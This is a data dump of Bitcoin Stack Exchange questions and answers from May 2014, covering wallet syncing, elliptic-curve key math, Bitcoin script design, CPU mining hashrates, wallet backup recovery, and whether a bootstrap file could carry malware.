  <row Id="25431" PostTypeId="1" CreationDate="2014-05-18T11:54:53.563" Score="-2" ViewCount="51" Body="&lt;p&gt;I downloaded this wallet app so im transferring coins from my multibit wallet. It says wait for the program to sync but it's taking so long.&lt;/p&gt;&#xA;" OwnerUserId="16838" LastActivityDate="2014-05-19T10:46:44.713" Title="how do i send to another from multibit bec it says &quot;synchronizing&quot; but it doesn't do anything WTH?" Tags="|multibit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25432" PostTypeId="2" ParentId="25426" CreationDate="2014-05-18T12:30:12.787" Score="4" Body="&lt;p&gt;6 &lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks&quot; rel=&quot;nofollow&quot;&gt;blocks&lt;/a&gt;, not 6 clients. The chances of catching up to the block with the transactions that is buried 6 blocks deep is slim. Granted of course that the dishonest party has not a very significant part (say less than 15% or so) of the hashing power. These changes can be calculated using Poisson distribution, as done in &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Satoshi's original paper&lt;/a&gt; (last pages).&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-05-18T17:09:20.987" LastActivityDate="2014-05-18T17:09:20.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25433" PostTypeId="2" ParentId="25427" CreationDate="2014-05-18T13:22:56.300" Score="6" Body="&lt;p&gt;It's easier to meter and restrict if it's not Turing complete, remembering that every node in the network needs to execute every script to ensure validity, we want it to be lightweight. It's not like it needs to be any more complex, nobody uses what we have to do anything interesting. Most of the opcodes are completely disabled and there's been no requests for them to be re-enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's so little use of script that I have manually inspected every single instance of a non-standandard transaction to see what they do. Other than the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=293382.0&quot;&gt;hash collision competitions&lt;/a&gt; and a lot of broken p2pool outputs, nobody to date has done anything even approaching interesting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, it's not complex because it doesn't need to be.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-05-18T13:22:56.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25434" PostTypeId="2" ParentId="25399" CreationDate="2014-05-18T13:24:42.540" Score="-1" Body="&lt;p&gt;This isn't a feature that's supported or encouraged with Bitcoin Core.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-05-18T13:24:42.540" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25435" PostTypeId="2" ParentId="25430" CreationDate="2014-05-18T13:27:14.250" Score="1" Body="&lt;p&gt;Every client has different selection criteria based on fees, age of the outputs, and other factors that impact the ultimate fee and priority. Normally older outputs are preferred as they incur less fees. You would probably want the 0.6 BTC output as you'd need 0.0001 BTC for the fee, sending 0.9999 to a new change address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's ultimately no &quot;proper&quot; method as this is wallet functionality and not core protocol. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-05-18T13:27:14.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25441" PostTypeId="2" ParentId="25427" CreationDate="2014-05-18T19:22:23.813" Score="1" Body="&lt;p&gt;Apart from what goatse said, and as your post comments, being not Turing complete means no loops, which could represent a problem with malformed (intentionally or not) scripts.&lt;/p&gt;&#xA;" OwnerUserId="14876" LastActivityDate="2014-05-18T19:22:23.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25442" PostTypeId="2" ParentId="25427" CreationDate="2014-05-18T19:34:50.110" Score="15" Body="&lt;p&gt;As others have said, there is no real need for Bitcoin scripting to be more complex than it is, as its complexity is more than enough for its intended applications; but the main reason is that not allowing some features (such as loops) in a language makes it completely deterministic: you can know for sure &lt;em&gt;when&lt;/em&gt; and &lt;em&gt;how&lt;/em&gt; a given program will end; you can't f.e. have infinite loops if you don't have loops in the first place, thus you don't have to worry about programs getting stuck and blocking/crashing the interpreter which is running them (in this case, the main Bitcoin software).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not having to deal with the &lt;a href=&quot;http://en.wikipedia.org/wiki/Halting_problem&quot;&gt;halting problem&lt;/a&gt; is definitely a plus for a tiny, embedded, purpose-specific language such as the one used for Bitcoin scripts.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2014-05-18T19:34:50.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25443" PostTypeId="2" ParentId="25240" CreationDate="2014-05-18T21:16:44.723" Score="2" Body="&lt;p&gt;I'm not an expert, but as far as I understand it, Moore's Law applies to ASICs just like other chips. So, every two years you get newer ASICs which can hash more, even though the chip design is not all the different from the previous ASICs, the number of transistors that chip has on it is doubled.  So, there is always going to be a cost of keeping up with the latest chips. This is part of what prevents a 51% attack, since there are literally not enough ASICs is the world for one big bank or something, or one scammer, to buy them all up to mine with.  World BitCoin Network on YouTube goes into this in more detail in the 51% attack video.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moore's Law isn't going to hit a limit in the near term, since when we get so small we are on the scale of just a couple of atoms, we will just start stacking chips on top of each other.  Itel is already researching liquid cooling between chip stacks.  So, for the forseeable future, Bitcoin mining is not just going to be a function of cheap energy, or optimized chips, but the financial treadmill of buying new ASICs every two years.&lt;/p&gt;&#xA;" OwnerUserId="16844" LastEditorUserId="5406" LastEditDate="2014-05-19T21:22:18.383" LastActivityDate="2014-05-19T21:22:18.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25444" PostTypeId="1" AcceptedAnswerId="25453" CreationDate="2014-05-19T01:03:11.677" Score="3" ViewCount="15411" Body="&lt;p&gt;I'm only getting 13 kh/s using minerd with intel i5 and the lowfeemining.org pool. Shouldn't I be getting a better hashrate?&lt;img src=&quot;https://i.stack.imgur.com/xJKTw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16828" LastEditorUserId="5406" LastEditDate="2016-03-10T09:49:52.760" LastActivityDate="2016-03-10T09:49:52.760" Title="Isracoin: What hashrate should I be getting with intel core i5?" Tags="|altcoin|mining-hardware|hashpower|cpu-mining|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25448" PostTypeId="2" ParentId="25382" CreationDate="2014-05-19T07:08:18.347" Score="12" Body="&lt;p&gt;The basic elliptic curve operation is addition of points.&#xA;The operation of applying this addition repeatedly is called the scalar multiplication of a point by an integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is the 'scalar', the point being multiplied is the 'Generator' point, the result is the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scalar multiplication is basically repeated addition. Multiplying the Generator point by 5 means: calculating G+G+G+G+G.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You calculate this by first calculating  G2= G+G,  then G4=G2+G2, then G5=G4+G.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The curve formula&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The formula for the curve used by bitcoin calculations is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;y^2 == x^3 + 7   ( mod p )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;p = 2^256 - 2^32 - 977&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Points on the curve&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;a point (x,y) is on the curve if it matches the above equation&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Curve Addition&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Curve addition is best visualized geometrically&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Tt7sm.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tt7sm.gif&quot; alt=&quot;curve addition&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;image from &lt;a href=&quot;https://www.certicom.com/content/certicom/en/21-elliptic-curve-addition-a-geometric-approach.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;certicom&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Elliptic curve cryptography does not use floating point values for it's coordinates, all calculations are done in integers modulo a large prime ( mentioned above, named p ). But the method of calculating the sum of 2 points remains the same.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;adding points&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Add points P1=(x1,y1) and P2=(x2,y2),  resulting in Psum= (xsum, ysum)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;slope = (y1-y2)/(x1-x2)&#xA;xsum = slope^2 - (x1+x2)&#xA;ysum = slope*(x1-xsum)-y1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;point doubling&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;if P1 and P2 are the same point, the above adding formula would&#xA;involve a division by zero, so a different formula is needed to&#xA;calculate P+P&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;slope = 3 * x^2 / (2*y)&#xA;xdbl = slope^2 - 2*x&#xA;ydbl = slope *(x-xdbl)-y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;ecdsa keys&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For ECDSA a generator point &lt;code&gt;G&lt;/code&gt; was chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is just an integer, lets name it &lt;code&gt;k&lt;/code&gt;.&#xA;The public key is the generator point added to itself &lt;code&gt;k&lt;/code&gt; number of times. In other words, multiplied by &lt;code&gt;k&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you choose your privatekey unwisely, say 1, your public key would equal the generator point, this address: &lt;a href=&quot;http://blockexplorer.com/address/1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm&quot; rel=&quot;nofollow noreferrer&quot;&gt;1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it was even used recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What makes ECDSA a useful crypto system, is that it is easy to calculate a public key from a privatekey, but not the other way around.&#xA;Another way of putting this is that multiplication is easy, but there is no (easy) division algorithm on an elliptic curve.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://gist.github.com/nlitsme/c9031c7b9bf6bb009e5a&quot; rel=&quot;nofollow noreferrer&quot;&gt;this gist&lt;/a&gt; for an example in python&lt;/p&gt;&#xA;" OwnerUserId="13163" LastEditorUserId="13163" LastEditDate="2019-03-04T10:03:31.543" LastActivityDate="2019-03-04T10:03:31.543" CommentCount="17" ContentLicense="CC BY-SA 4.0" />
  <row Id="25449" PostTypeId="1" CreationDate="2014-05-19T08:38:59.550" Score="-1" ViewCount="101" Body="&lt;p&gt;How would I identify a transaction taking in consideration the following &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a user table holding user datas&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;++ id  | username | btc_recive_address++&#xA;----------------------------------------&#xA;++  1  | myuser   | 123kahpoiq31328   ++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;order table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ++ order_id  | user_id | amount&#xA; ---------------------------------&#xA; ++ h6765-a1s | 1       | 0.1 BTC&#xA; ---------------------------------&#xA; ++ kzg765-a1 | 1       | 0.1 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and collector table which retrieves data from bitcoin API( here I identify sender with btc_recive_address)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;++ block_chain      | user | amount | timestamp&#xA;--------------------------------------------------------------------------------&#xA;++ 2d37e5351196...  | 1    | 0.1    | 2014-04-09 16:21:34&#xA;--------------------------------------------------------------------------------&#xA;++ 123kjhg7231k..   | 1    | 0.1    | 2014-04-08 19:33:56&#xA;--------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I try to assign transaction to order_id like generating a joined view from order and collector table  but I have problems when the amount and user is the same&lt;/p&gt;&#xA;" OwnerUserId="13558" LastActivityDate="2014-05-23T04:11:21.837" Title="MySQL view to identify a transaction with retrived API datas" Tags="|transactions|api|mysql|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25450" PostTypeId="2" ParentId="25431" CreationDate="2014-05-19T10:46:44.713" Score="0" Body="&lt;p&gt;It could be that port 8333 is being firewalled.&#xA;There is some more about this in the MultiBit help here:&#xA;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_network.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_support_network.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-05-19T10:46:44.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25451" PostTypeId="1" CreationDate="2014-05-19T12:08:25.997" Score="4" ViewCount="1879" Body="&lt;p&gt;I've got a server running 24/7 with lots of resources left. I want to run a full Bitcoin node, but actually, I thought of running a few virtual machines on it (using virtualbox) and running a full Bitcoin node in each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously they'd all need to use different ports (which are to be forwarded to the particular VM LAN IPs by my router). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will that work, i.e. would they be on different 'metric locations' in the Bitcoin network? (even though they have the same physical location and same IP of course)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason for this endeavour: being 'as connected as possible' to different parts of the network simultaneously, just as if I had multiple nodes running on different physical locations throughout the world.&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2014-05-19T12:53:18.257" Title="Running multiple BTC nodes on separate VMs on the same host machine?" Tags="|bitcoind|network|nodes|port|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25452" PostTypeId="2" ParentId="25451" CreationDate="2014-05-19T12:37:53.687" Score="3" Body="&lt;p&gt;Having multiple nodes running will help you get connected to more peers. The algorithm behind finding peers takes into consideration a variety of variables, such as the success rate of previous connections, and the IP addresses that get relayed by other nodes. Therefore, the more nodes you have running, the better the chances of connecting to different peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that it doesn't really matter that they're running on different operating systems. You can run different nodes on the same OS, on different ports. This would effectively be the same as running them on different virtual machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What matters here is the high peer connection rate, which can be accomplished by running many nodes on different ports.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-05-19T12:53:18.257" LastActivityDate="2014-05-19T12:53:18.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25453" PostTypeId="2" ParentId="25444" CreationDate="2014-05-19T12:55:08.363" Score="4" Body="&lt;p&gt;Assuming that IsraCoin uses the Scrypt-Hashing algorithm as suggested in the comments on the question, I found this &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison#Intel&quot; rel=&quot;nofollow&quot;&gt;hardware overview table on Litecoin&lt;/a&gt; (which also uses Scrypt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table lists a number of &lt;code&gt;Intel Core i5&lt;/code&gt; processors ranging in hashrate from &lt;strong&gt;12 to 55 kHash/s&lt;/strong&gt;.&lt;br&gt;&#xA;I.e. depending on what processor you have exactly and whether IsraCoin uses the same hashing scheme as LiteCoin, it is within the expected performance.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-05-19T12:55:08.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25455" PostTypeId="2" ParentId="7370" CreationDate="2014-05-19T14:17:48.960" Score="-1" Body="&lt;p&gt;I`m quite sure, that all casinos are hosted on offshore location.&#xA;Here you can find some of the botcoin hosting companies that offers offshore locations:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Web_Hosting&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Trade#Web_Hosting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14352" LastActivityDate="2014-05-19T14:17:48.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25456" PostTypeId="1" CreationDate="2014-05-19T15:09:04.223" Score="2" ViewCount="376" Body="&lt;p&gt;I had a bitcoin wallet and several other coins' wallets on my laptop and did a backup for my wallets several months before the laptop died.  Between that time, I had created several new bitcoin addresses.  After running several disk recovery tools, and they all told me that the wallet.dat files on my crashed hard drive were unrecoverable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run bitcoin cliet using the older wallet.dat files, my newer addresses don't show up and my balance is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to fully recover addresses that were create AFTER the most recent walled.dat backup was created?  This can pose quite a problem since I have no access to the coins associated with the newly created addresses.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16857" LastActivityDate="2014-05-20T15:38:03.740" Title="How do I recover newly created bitcoin addresses from an older wallet.dat?" Tags="|wallet|backup|wallet.dat|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25457" PostTypeId="2" ParentId="25456" CreationDate="2014-05-19T16:29:37.937" Score="2" Body="&lt;p&gt;Unfortunately, this is not possible. One of the disadvantages of non-deterministic wallets is that when new keys are needed and the key pool is empty, they are generated randomly. If the new wallet is lost, there is no way to extract those keys from an older wallet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-05-19T16:29:37.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25458" PostTypeId="1" AcceptedAnswerId="25459" CreationDate="2014-05-19T18:14:38.800" Score="2" ViewCount="478" Body="&lt;p&gt;Recently I learned that someone has injected an old virus signature into the bitcoin blockchain, though it does not run the chance of infecting the computer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://newsbtc.com/2014/05/16/virus-signature-uploaded-bitcoin-blockchain-causing-mse-users-grief/&quot; rel=&quot;nofollow&quot;&gt;http://newsbtc.com/2014/05/16/virus-signature-uploaded-bitcoin-blockchain-causing-mse-users-grief/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This makes me wonder, if I were to install bitcoin-core and download a malicious bootstrap.dat file, would it be possible for it to infect my system through bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-05-19T20:09:59.313" Title="Is a bootstrap.dat virus possible?" Tags="|bootstrap.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25459" PostTypeId="2" ParentId="25458" CreationDate="2014-05-19T18:28:49.500" Score="4" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, it's not possible. With the exception of &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;Script commands&lt;/a&gt;, nothing in the blockchain is executed by Bitcoin Core: &lt;strong&gt;it's just data&lt;/strong&gt;. Scripts are only able to do things like hashing and arithmetic, so it's hard to imagine any sort of Script-based malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's conceivable that malware (once delivered to your computer via other means) could use the blockchain to download additional malware or transmit signals to infected machines, but it seems like it'd be way more trouble than it's worth to me. (if you have any sort of Bitcoin-informed malware, the most profitable thing to do would almost certainly be to steal the user's bitcoins, not use the blockchain for clandestine messages)&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-05-19T20:09:59.313" LastActivityDate="2014-05-19T20:09:59.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25461" PostTypeId="1" CreationDate="2014-05-20T09:04:27.710" Score="3" ViewCount="1786" Body="&lt;p&gt;I recently transferred from Coinbase to my Blockchain wallet. At the time and in my transaction summary it shows a fee of .0002 . However I still have the same amount I started with. Who paid this fee? It didn't seem to come out of my btc.&lt;/p&gt;&#xA;" OwnerUserId="16864" LastActivityDate="2016-03-02T20:49:03.597" Title="Did I pay a fee to transfer from Coinbase to Blockchain?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25464" PostTypeId="2" ParentId="25461" CreationDate="2014-05-20T13:40:51.357" Score="9" Body="&lt;p&gt;Coinbase covered the fee. I believe they do this in order to simplify things for their users (so that if it says you have x BTC, you can transfer x BTC, not (x minus transaction fees) BTC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, they pass the cost along to their users in their buy/sell price and fees.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-20T13:40:51.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25466" PostTypeId="2" ParentId="25456" CreationDate="2014-05-20T15:38:03.740" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Deterministic_wallet&lt;/a&gt;  (BIP0032)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin Client does have an implimentation for a deterministic wallet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/3250&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/issues/3250&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;laanwj commented on Nov 14, 2013&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We already have the implementation (merged with #2829), we're just not&#xA;  using it yet.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;BIP0032 is a standard, so in principle it should be inter-operable.&#xA;  HOWEVER it's very much discouraged to have the same keys in multiple&#xA;  wallets in different programs (bitcoin-qt copes with double spends&#xA;  very badly at the moment).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2829&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/2829&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merged in mainline on 16th August, 2013.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-05-20T15:38:03.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25467" PostTypeId="2" ParentId="19911" CreationDate="2014-05-20T15:44:05.880" Score="1" Body="&lt;p&gt;You may find my answer on how to start mining Bitcoins useful, as it touches on setting up your own pools:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1433/how-can-i-start-mining-bitcoin/22916#22916&quot;&gt;How can I start mining Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this post goes into a bit more detail on using Stratum + Push Pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10044/how-to-setup-stratum-with-pushpool-and-vardiff-litecoin/23028#23028&quot;&gt;How to setup stratum with pushpool and VARDIFF? (litecoin)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some info on eloipool configuration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25102/managing-diff-variable-on-eloipool-software/25150#25150&quot;&gt;Managing Diff variable on eloipool software&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted some more specific information let me know.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-05-20T15:44:05.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25468" PostTypeId="1" AcceptedAnswerId="26969" CreationDate="2014-05-20T18:06:22.543" Score="2" ViewCount="111" Body="&lt;p&gt;I'm trying to determine how likely it is for multi-sigs with n &gt; 3 are to be mined.  Whether this is a sub-set of miners (say 10%) or if you need to relay them to some specific nodes.&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2014-08-14T00:45:36.797" Title="What % of the network will mine multi-sig transactions where n &gt; 3?" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25470" PostTypeId="1" CreationDate="2014-05-20T19:09:45.577" Score="2" ViewCount="90" Body="&lt;p&gt;I have a great idea for an invention, but I am currently limited to purchasing parts for building a prototype of it with bitcoins. Unfortunately, I do not have that many bitcoins and need a way to ask the bitcoin community for donations. Yes, I have an address, I am not a newbie to bitcoin. I would like to know where I can ask for bitcoin for a scientific project that could benefit the world. If anyone is interested I will disclose some information about my project.&lt;/p&gt;&#xA;" OwnerUserId="16871" LastActivityDate="2014-05-21T02:20:10.673" Title="What is a good place to ask for bitcoin to fund a scientific project?" Tags="|websites|donation|funds|" AnswerCount="1" CommentCount="2" ClosedDate="2014-06-08T07:52:53.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="25472" PostTypeId="1" CreationDate="2014-05-20T19:23:19.823" Score="1" ViewCount="1106" Body="&lt;p&gt;We are trying to create our own currency.&#xA;&lt;br&gt;&#xA;We first started with testnet.&#xA;&lt;br&gt;&#xA;The aim is to generate a genesis block and testnet did it very well. However, although we had connection between two computers and we have &quot;hashespersecond&quot; value more than 0, the balance stays 0.&#xA;&lt;br&gt;&#xA;Then, instead of using a testnet, we used mainnet(we read some topics about testnet which claim that balance never increases in testnet)&#xA;&lt;br&gt;&#xA;In mainnet, we saw that a connection is established(by using getinfo). However, in our log file, we always see the error:&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;connect() failed after `select(): Connection refused&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We inspected the code and found out a variable called nRet. The value of the nRet is changed in getsockopt built-in function. We don't know why the value of nRet has changed(any value except 0 means an error in socket).&#xA;&lt;br&gt;&#xA;We changed the port numbers, even the port numbers we used in testnet. But it didn't work.&#xA;&lt;br&gt;&#xA;We don't have any idea about how to establish a connection between these 2 computers. Both testnet and mainnet didn't work and we are struggling with this issue. We are using SmallChange, a faster version of Litecoin.&#xA;&lt;br&gt;&#xA;Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16872" LastEditorDisplayName="user14010" LastEditDate="2014-05-29T21:21:13.493" LastActivityDate="2014-05-29T21:21:13.493" Title="creating our own coin - connection refused error" Tags="|bitcoind|bitcoin-core|litecoin|testnet|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25473" PostTypeId="1" CreationDate="2014-05-20T21:45:07.040" Score="4" ViewCount="3005" Body="&lt;p&gt;Can anyone please explain the &lt;code&gt;listaddressgroupings&lt;/code&gt; rpc method? Its documentation isn't clear in Bitcoin Core&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Lists groups of addresses which have had their common ownership&#xA;made public by common use as inputs or as the resulting change&#xA;in past transactions&#xA;&#xA;Result:&#xA;[&#xA;  [&#xA;    [&#xA;      &quot;bitcoinaddress&quot;,     (string) The bitcoin address&#xA;      amount,                 (numeric) The amount in btc&#xA;      &quot;account&quot;             (string, optional) The account&#xA;    ]&#xA;    ,...&#xA;  ]&#xA;  ,...&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;????&lt;/p&gt;&#xA;" OwnerUserId="12049" LastEditorUserId="5406" LastEditDate="2014-05-22T09:51:56.603" LastActivityDate="2014-07-27T06:06:42.493" Title="What does the listaddressgroupings rpc method do?" Tags="|bitcoind|json-rpc|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25475" PostTypeId="2" ParentId="25470" CreationDate="2014-05-21T02:20:10.673" Score="3" Body="&lt;p&gt;You could look into posting about your project in the Einsteinium community. The coin is designed specifically to help fund science projects and research. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://einsteinium.org/&quot; rel=&quot;nofollow&quot;&gt;http://einsteinium.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=494708.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=494708.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16875" LastActivityDate="2014-05-21T02:20:10.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
